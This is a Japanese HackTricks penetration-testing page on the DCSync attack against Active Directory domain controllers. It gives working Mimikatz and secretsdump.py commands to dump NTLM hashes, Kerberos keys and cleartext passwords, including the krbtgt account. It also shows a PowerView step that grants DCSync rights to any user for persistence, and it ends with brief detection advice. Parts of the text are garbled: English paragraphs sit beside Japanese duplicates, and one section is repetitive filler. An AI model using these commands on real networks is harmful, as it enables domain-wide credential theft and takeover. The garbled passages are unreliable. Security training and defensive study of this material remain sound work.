hacktricks/windows-hardening/active-directory-methodology/dcsync.md
2023-07-07 23:42:27 +00:00

12 KiB
Raw Blame History

DCSync


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化することができます。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

DCSync

DCSync権限は、ドメイン自体に対して次の権限を持つことを意味します:DS-Replication-Get-ChangesReplicating Directory Changes All、およびReplicating Directory Changes In Filtered Set

DCSyncに関する重要な注意事項

  • DCSync攻撃は、ドメインコントローラの動作をシミュレートし、他のドメインコントローラに情報のレプリケーションを要求します。これは、ディレクトリレプリケーションサービスリモートプロトコルMS-DRSRを使用するものであり、Active Directoryの有効で必要な機能であるため、オフまたは無効にすることはできません。
  • デフォルトでは、Domain Admins、Enterprise Admins、Administrators、およびDomain Controllersグループのみが必要な特権を持っています。
  • もし、任意のアカウントのパスワードが可逆暗号化で保存されている場合、Mimikatzにはパスワードを平文で返すオプションがあります。

列挙

powerviewを使用してこれらの権限を持つユーザーをチェックします:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

ローカルでの攻撃

DCSyncは、Active DirectoryADドメインコントローラDCからユーザーのハッシュを取得するための攻撃手法です。この攻撃手法を使用すると、攻撃者はドメイン内の任意のユーザーアカウントのハッシュを取得できます。

DCSync攻撃を実行するためには、攻撃者はドメイン内の有効なユーザーアカウントを持つ必要があります。攻撃者は、攻撃対象のドメインコントローラに対して認証を行い、NTLMハッシュを取得します。

以下の手順に従って、DCSync攻撃をローカルで実行することができます。

  1. 攻撃者は、攻撃対象のドメインコントローラに対して認証を行います。これには、有効なユーザーアカウントの資格情報が必要です。

  2. 攻撃者は、攻撃対象のドメインコントローラに対してDCSync攻撃を実行します。これにより、攻撃者はドメイン内の任意のユーザーアカウントのハッシュを取得できます。

DCSync攻撃は、攻撃者がドメイン内のユーザーアカウントのハッシュを取得するための効果的な手法です。しかし、この攻撃手法を実行するためには、攻撃者が有効なユーザーアカウントの資格情報を持っている必要があります。

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

リモートでの攻撃

To exploit the DCSync attack remotely, you need to have remote code execution (RCE) or a compromised account on a domain-joined machine. Once you have gained access to a machine within the domain, you can use the mimikatz tool to perform the DCSync attack.

リモートでDCSync攻撃を行うには、リモートコード実行RCEまたはドメインに参加しているマシン上の侵害されたアカウントが必要です。ドメイン内のマシンにアクセスできたら、mimikatzツールを使用してDCSync攻撃を実行できます。

First, you need to download and execute mimikatz on the compromised machine. Then, you can use the following command to perform the DCSync attack:

まず、侵害されたマシンにmimikatzをダウンロードして実行する必要があります。次に、以下のコマンドを使用してDCSync攻撃を実行できます。

mimikatz # lsadump::dcsync /user:<username>

Replace <username> with the username of the domain account you want to extract the credentials from. This command will retrieve the NTLM hash of the specified user's password from the domain controller.

<username>を抽出したいドメインアカウントのユーザー名に置き換えてください。このコマンドは、指定したユーザーのパスワードのNTLMハッシュをドメインコントローラから取得します。

Once you have the NTLM hash, you can use various techniques to crack it and obtain the plaintext password. This allows you to impersonate the compromised user and gain unauthorized access to sensitive resources within the domain.

NTLMハッシュを取得したら、さまざまな手法を使用してそれを解読し、平文のパスワードを取得できます。これにより、侵害されたユーザーをなりすまし、ドメイン内の機密リソースに不正アクセスすることができます。

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dcは3つのファイルを生成します

  • NTLMハッシュを含むファイル
  • Kerberosキーを含むファイル
  • 可逆暗号化が有効になっているNTDSのクリアテキストパスワードを含むファイル。可逆暗号化が有効なユーザーは次のコマンドで取得できます。
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

持続性

ドメイン管理者であれば、powerviewのヘルプを使用して、この権限を任意のユーザーに付与することができます。

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

次に、ユーザーが正しく割り当てられているかどうかを確認することができます。これには、以下の出力からそれらの特権の名前を見つける必要があります特権の名前は「ObjectType」フィールド内に表示されます:

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

緩和策

  • セキュリティイベントID 4662オブジェクトの監査ポリシーが有効である必要があります- オブジェクトに対して操作が実行されました
  • セキュリティイベントID 5136オブジェクトの監査ポリシーが有効である必要があります- ディレクトリサービスオブジェクトが変更されました
  • セキュリティイベントID 4670オブジェクトの監査ポリシーが有効である必要があります- オブジェクトのアクセス許可が変更されました
  • AD ACLスキャナー - ACLの作成と比較を行い、レポートを作成します。 https://github.com/canix1/ADACLScanner

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築して自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}